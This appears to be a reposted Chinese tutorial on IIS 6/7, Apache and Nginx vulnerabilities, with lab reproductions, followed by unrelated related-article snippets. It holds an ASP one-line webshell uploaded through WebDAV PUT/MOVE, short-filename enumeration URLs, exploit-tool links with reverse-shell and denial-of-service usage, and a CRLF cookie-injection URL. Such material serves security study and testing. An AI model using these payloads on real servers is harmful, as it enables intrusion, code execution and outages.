常见框架漏洞 中(IIS6.x、IIS7.x、Apache、Nginx)

目录

中间件

IIS

IIS6.x篇

PUT漏洞

漏洞描述

环境

漏洞复现

漏洞复现

工具连接

IIS6.0解析漏洞

IIS短文件漏洞

漏洞描述

原理

复现

短⽂件名特征:

⼯具

IIS RCE-CVE-2017-7269

简介

影响范围

复现

利⽤⼯具

反弹shell

Apache

未知扩展名解析漏洞

AddHandler导致的解析漏洞

目录遍历漏洞

原理

复现

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

Nginx

文件解析漏洞

目录遍历漏洞

描述

原理

漏洞复现

CRLF注⼊漏洞

复现

文件名逻辑漏洞(CVE-2013-4547)

描述

环境

漏洞复现


中间件

中间件(英语:Middleware)是提供系统软件和应⽤软件之间连接的软件,以便于软件各部件之间的沟通。 中间件处在操作系统和更⾼⼀级应⽤程序之间。他充当的功能是:将应⽤程序运环境靶机

漏洞描述环境漏洞复现⾏环境与操作系统隔离,从⽽实现应⽤程序开发者不必为更多系统问题忧虑,⽽直接关注该应⽤

程序在解决问题上的能⼒ 。容器就是中间件的⼀种。

也就是说,关于中间件,我们可以理解为:是⼀类能够为⼀种或多种应⽤程序合作互通、资源共享,同时还能够为该应⽤程序提供相关的服务的软件。(注意:中间件是⼀类软件的总称,不是单独的⼀个软件)。

我们经常管web中间件叫做web服务器或者web容器。

IIS

IIS6.x篇

PUT漏洞

漏洞描述

IlS Server 在 Web 服务扩展中开启了 WebDAV,配置了可以写入的权限,造成任意文件上传。

版本:IIS 6.0

环境

fofa:"lIS-6.0"

本地搭建2003 server

漏洞复现

1)开启 WebDAV 和写权限

2.右键默认网站—点开主目录—全部勾选

3.右键点击默认网站—来宾账户—完全控制

漏洞复现

⽤burpsuite 提交OPTIONS 查看⽀持的协议 :

脚本文档:

用PUT上传文档,但不能直接上传方法脚本文档,可以先上传一个其他类型的文档,然后移动成脚本⽂档:

PUT /test.txt HTTP/1.1Host:192.168.207.133Content-Length: 29<%eval request("cmd")%>

使⽤MOVE命令将其更名为脚本⽂档后缀:

MOVE /test.txt HTTP/1.1Host:192.168.207.133Destination: http://192.168.207.133/shell.asp

工具连接

写⼊成功,菜⼑,蚁剑链接即可。

IIS6.0解析漏洞

在前⾯的解析漏洞有说过,这⾥不在赘述

IIS短文件漏洞

漏洞描述

Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16位 Windows的程序访问这些文件。在cmd下输入"dir /x“即可看到短文件名的效果。

原理

当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。

当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。

目前IS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD.TRACE六种;

IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功。

复现

IIS8.0以下版本需要开启ASP.NET支持,IIS>=8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进行复现。

短⽂件名特征:

1.只显示前6位的字符,后续字符⽤~1代替。其中数字1是可以递增。如果存在⽂件名类似的⽂件,则前⾯的 6个字符是相同的,后⾯的数字进⾏递增。

2.后缀名最⻓只有3位,超过3位的会⽣成短⽂件名,且后缀多余的部分会截断。

3.所有⼩写字⺟均转换成⼤写的字⺟ ;

4.⻓⽂件名中包含多个”.”的时候,以⽂件最后⼀个”.”作为短⽂件名的后缀;

5.⻓⽂件名前缀/⽂件夹名字符⻓度符合0-9和A-Z、a-z范围且需要⼤于等于9位才会⽣成短⽂件名,如果包含空格或者其他部分特殊字符,不论⻓度均会⽣成短⽂件。

使⽤payload验证⽬标是否存在IIS短⽂件名漏洞,显示的404,说明⽬标存在该短⽂件名:PS:* 可以匹配n个字符, n可以为0 :

以123123123123.txt⽂件为例:

通过浏览器访问⼀个不存在的短⽂件名,会返回400状态码, 400说明该⽂件不存在:

通过浏览器访问上⾯两个payload,根据返回的结果,可以说明⽬标存在IIS短⽂件漏洞 ;判断漏洞存在后,接下来⼿⼯详细分析猜解IIS短⽂件名:

192.168.207.133/1*~1*/a.aspx

192.168.207.133/2*~1*/a.aspx

通过两次的提交确认了a是404,b是400 所以存在a⽂件开头的短⽂件。通过上⾯的⽅法接着往后猜:

192.168.207.133/12312*~1*/a.aspx

到这⽂件名已经出来了,接着就是判断是⽬录还是⽂件

上⾯判断是⽂件,按照a-z进⾏测试,404表示存在,400表示不存在,第⼀个字符不是a开头的⽂件 :

第⼀个是字符是t开头的,接着往后测试:

按照上⾯的⽅法依次猜解得到该短⽂件名的后缀是txt,短⽂件名为 abcde~1.txt ,可以接着猜解 123123123123.txt⽂件名 。

以上就是原理及漏洞产⽣的流程。接下来使⽤IIS短⽂件名扫描软件,获取⽬标存在哪些短⽂件名;

⼯具

https://github.com/lijiejie/IIS_shortname_Scanner

⽤法:

python2 iis_shortname_Scan.py http://192.168.207.133

IIS RCE-CVE-2017-7269

简介

Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 lf:<http://开头的长标头执行任意代码 PROPFIND请求:

影响范围

WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

复现

右键Web服务扩展—webdav允许

利⽤⼯具

https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

反弹shell

kali下载⼯具,nc监听:

python2 文件 目标IP port 监听IP port

IIS 7x篇

IS7文件解析漏洞

前面的解析漏洞已讲,这里不再赘述。

HTTP.SYS远程代码执⾏(MS15-034) MS-->Microsoft 2015 -034

描述

HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,

从IIS6.0引 ⼊,IIS服务进程依赖HTTP.SYSHTTP.SYS远程代码执⾏漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的

Windows系统发送 特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利⽤

此漏洞的攻击者可以在系统 帐户的上下⽂中执⾏任意代码。主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008

R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这

个漏洞。

影响范围

Plain Text

Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2

影响版本

Plain Text

IIS7.5、IIS8.0、IIS8.5

环境

windows server 2012 IIS8.5

复现

访问网站;

编辑请求头,增加Range:bytes=0-18446744073709551615字段,若返回码状态为416Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞。burp抓包修改请求头:

返回 416 存在此漏洞。

POC:

https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

可以造成⼀个ddos的效果:

填上地址

填上端⼝

主⻚图⽚ iis8.5的是(iis-85.png),其他的可以根据百度查,每个版本的欢迎⻚都不

⼀样

选择 y

python IISDoS.py

这时候就可以看到虚拟机已经变卡了,甚⾄蓝屏。

Apache

Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一

apache目录结构:

bin:存放常用命令工具,如httpdcgi-bin:存放linux下常用命令,如xxx.sh

error:错误记录

htdocs:网站源码

icons:网站图标

manual:手册

modules:扩展模块

未知扩展名解析漏洞

解析漏洞有讲,这里不在赘述。

AddHandler导致的解析漏洞

解析漏洞有讲,这里不在赘述。

目录遍历漏洞

原理

当客户端访问到一个目录时,Apache服务器将会默认寻找一个indexlist中的文件,若文件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。

复现

httpd.conf :

<Directory "D:/phpstudy_pro/WWW">Options +IndexesAllowOverride AllOrder allow,denyAllow from allRequire all grantedDirectoryIndex index.php</Directory>

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

解析漏洞有讲,这里不在赘述

Nginx

Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好

文件解析漏洞

Nginx解析漏洞有讲,这里不在赘述。

目录遍历漏洞

描述

Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄路。

原理

修改nginx.conf,在如下图位置添加autoindex on

autoindex on 开启目录浏览 autoindex off关闭目录浏览 默认是关闭状态;

漏洞复现

CRLF注⼊漏洞

描述Nginx将传⼊的url进⾏解码,对其中的%0a%0d替换成换⾏符,导致后⾯的数据注⼊⾄头部,造成CRLF 注⼊漏洞。

复现

vluhub靶场:

cd /vulhub/nginx/insecure-configuration

设置https跳转,这样就可以接收到url,进⽽进⾏处理。

在 C:\phpStudy\PHPTutorial\nginx\conf\nginx.conf⽂件中添加下⾯⼀⾏话。

return 302 https://$host$uri;

构造url,访问

192.168.3.162/%0ASet-cookie:JSPSESSID%3D3

可以看到,返回包已经有构造得cookie了。

文件名逻辑漏洞(CVE-2013-4547)

描述

这一漏洞的原理是非法字符空格和截止符(\0)会导致Nginx解析URI时的有限状态机混乱此漏洞可导致目录跨越及代码执行,其影响版本为:nginx 0.8.41-1.5.6

环境

kali vulhub靶场

/nginx/CVE-2013-4547
漏洞复现

访问靶场: http://47.99.98.0:8080/

创建 1.jpg 文件,并上传

抓包,在该文件名最后添加一个空格

上传成功后,浏览器访问 http://192.168.56.134:8080/uploadfiles/1.jpg...php将2e,2e,2e修改为20,00,2e,发包:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/397136.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Oracle【plsql编写九九乘法表】

九九乘法表 DECLAREi NUMBER : 1;j NUMBER : 1; BEGINFOR i IN 1 .. 9LOOPFOR j IN 1 .. iLOOPDBMS_OUTPUT.put (i || * || j || || i * j || );END LOOP;DBMS_OUTPUT.put_line ( );END LOOP; END;输出结果

Vue3从零开始——如何巧妙使用setup语法糖、computed函数和watch函数

文章目录 一、setup语法糖二、computed函数2.1 computed的基本用法2.2 computed vs methods2.3 注意事项 三、watch函数3.1 watch的基本用法3.2 immediate和deep选项 四、综合小Demo五、总结 一、setup语法糖 之前我们在编写代码时每次都要编写setup()​ ,默认导出配置&#x…

浮毛季到了,拒绝猫咪变成“蒲公英”,宠物空气净化器去除浮毛

同为铲屎官&#xff0c;面对家中无处不在的猫毛挑战&#xff0c;想必你也深感头疼。衣物、沙发乃至地毯上的明显猫毛尚可通过吸尘器或粘毛器轻松应对&#xff0c;但那些细微漂浮的毛发却成了难以捉摸的“小恶魔”&#xff0c;普通的空气净化器往往力不从心。对于浮毛&#xff0…

分享安装Windows11系统相关的经验

文章目录 1. 概述2. 安装过程3. 经验分享本章回中我们准备向大家介绍如何安装 Window11操作系统同时分享一些相关的安装经验。 1. 概述 有看官说都什么年代了还介绍如何安装操作系统,不过介绍安装操作系统的方法不是我的重点,我的重点是分享相关的安装经验,帮助大家少走弯…

熵权法模型(评价类问题)

目录 本文章内容参考&#xff1a; 一. 概念 二. 特点 三. 实现步骤 四. 代码实现 本文章内容参考&#xff1a; 熵权法模型讲解(附matlab和python代码) 【数学建模快速入门】数模加油站 江北_哔哩哔哩_bilibili 一. 概念 利用信息熵计算各个指标的权重&#xff0c;从而为…

nvm 切换、安装 Node.js 版本

nvm下载路径 往下拉找到Assets 下载后&#xff0c;找到nvm-setup.exe双击&#xff0c;一直无脑下一步&#xff0c;即可安装成功。 配置环境变量&#xff08;我的是window11&#xff09; 打开任务栏设置–搜环境变量 配置好后&#xff0c;点确定一层一层关闭 windowR 打开控制…

Datawhale X 魔搭 AI夏令营 Task 01

Task 01 1. 注册阿里云 2. 跑通baseline 3. 生成图片并提交 后续思路&#xff1a; 调整prompt&#xff1b;更换微调数据集使用gpt生成故事简介

C++之类与对象(完结撒花篇)

目录 前言 1.再探构造函数 2.类型转换 3.static成员 4. 友元 5.内部类 6.匿名对象 7.对象拷贝时的编译器优化 结束语 前言 在前面的博客中&#xff0c;我们对类的默认成员函数都有了一定了解&#xff0c;同时实现了一个日期类对所学的没内容进行扩展延伸&#xff0c;本…

JavaWeb04-MyBatis与Spring结合

目录 前言 一、MyBatis入门&#xff08;MyBatis官网&#xff09; 1.1 创建mybatis项目&#xff08;使用spring项目整合式方法&#xff09; 1.2 JDBC 1.3 数据库连接池 1.4 实用工具&#xff1a;Lombok 二、MyBatis基础操作 2.1 准备工作 2.2 导入项目并实现操作 2.3 具…

Linux-Haproxy搭建Web群集

LVS在企业应用中抗负载能力强 不支持正则处理&#xff0c;不能实现动静分离对于大型网格&#xff0c;LVS的实施配置复杂&#xff0c;维护成本较高 Haproxy是一款可提供高可用性、负载均衡、及基于TCP和HTTP应用的代理的软件 适用于负载大的Web站点运行在硬件上可支持数以万计的…

【C++高阶】:特殊类设计和四种类型转换

✨ 人生如梦&#xff0c;朝露夕花&#xff0c;宛若泡影 &#x1f30f; &#x1f4c3;个人主页&#xff1a;island1314 &#x1f525;个人专栏&#xff1a;C学习 ⛺️ 欢迎关注&#xff1a;&#x1f44d;点赞 &#x1f442;&am…

Java二十三种设计模式-策略模式(13/23)

策略模式&#xff1a;灵活算法的替换与扩展 引言 策略模式&#xff08;Strategy Pattern&#xff09;是一种行为型设计模式&#xff0c;它定义了算法族&#xff0c;分别封装起来&#xff0c;让它们之间可以互相替换&#xff0c;此模式让算法的变化独立于使用算法的客户。 基础…

C#小结:如何在VS2022中使用菜单栏中的Git管理代码

目录 第一部分&#xff1a;基础操作 第一步&#xff0c;登录官网&#xff0c;设置好邮箱&#xff0c;然后右上角新建仓库 第二步&#xff0c;提交代码到远程仓库中 第三步&#xff0c;查看和比对自己修改的内容 第四步&#xff0c;查看该项目所有提交历史记录 第五步&…

嵌入式人工智能(OpenCV-基于树莓派的人脸识别与入侵检测)

1、人脸识别 人脸识别是一种技术&#xff0c;通过检测、跟踪和识别人脸上的关键特征&#xff0c;以确认人脸的身份。它通常用于安保系统、身份验证、社交媒体和人机交互等领域。 人脸识别技术的基本原理是先通过图像处理和计算机视觉算法&#xff0c;提取人脸的特征点和特征描…

【ML】Pre-trained Language Models及其各种微调模型的实现细节和特点

Pre-trained Language Models及其各种微调模型的实现细节和特点 1. Pre-trained Language Models2. semi-supervised Learning3. zero-shot4. Parameter-Efficient Fine-Tuning4.1 含义&#xff1a;4.2 实现方式&#xff1a; 5. LoRA5.1 LoRA 的主要特点&#xff1a;5.2 LoRA 的…

Pytorch人体姿态骨架生成图像

ControlNet是一个稳定扩散模型&#xff0c;可以复制构图和人体姿势。ControlNet解决了生成想要的确切姿势困难的问题。 Human Pose使用OpenPose检测关键点&#xff0c;如头部、肩膀、手的位置等。它适用于复制人类姿势&#xff0c;但不适用于其他细节&#xff0c;如服装、发型和…

Linux中apache服务安装与mysql安装

目录 一、apache安装 二、MySQL安装 一、apache安装 准备环境&#xff1a;一台虚拟机、三个安装包&#xff08;apr-1.6.2.tar.gz、apr-util-1.6.0.tar.gz、httpd-2.4.29.tar.bz2) 安装过程&#xff1a; tar xf apr-1.6.2.tar.gz tar xf apr-util-1.6.0.tar.gz tar xf http…

Burp Suite的使用和文件上传漏洞靶场试验

第一步&#xff1a;分析如何利用漏洞&#xff0c;通过对代码的查阅发现&#xff0c;代码的逻辑是先上传后删除&#xff0c;意味着&#xff0c;我可以利用webshell.php文件在上传到删除之间的间隙&#xff0c;执行webshell.php的代码&#xff0c;给上级目录创建一个shell.php木马…

IDEA右键新建时没有Java Class选项

项目场景&#xff1a; IDEA右键新建时没有Java Class选项 问题描述 IDEA右键新建时没有Java Class选项 原因分析&#xff1a; 提示&#xff1a;这里填写问题的分析&#xff1a; 例如&#xff1a;Handler 发送消息有两种方式&#xff0c;分别是 Handler.obtainMessage()和 Ha…

【扒代码】ope.py

文件目录&#xff1a; 引用方式 if not self.zero_shot: # 非零样本情况下&#xff0c;计算边界框的宽度和高度 box_hw torch.zeros(bboxes.size(0), bboxes.size(1), 2).to(bboxes.device) box_hw[:, :, 0] bboxes[:, :, 2] - bboxes[:, :, 0] # 宽度 box_hw[:, :, 1] bbox…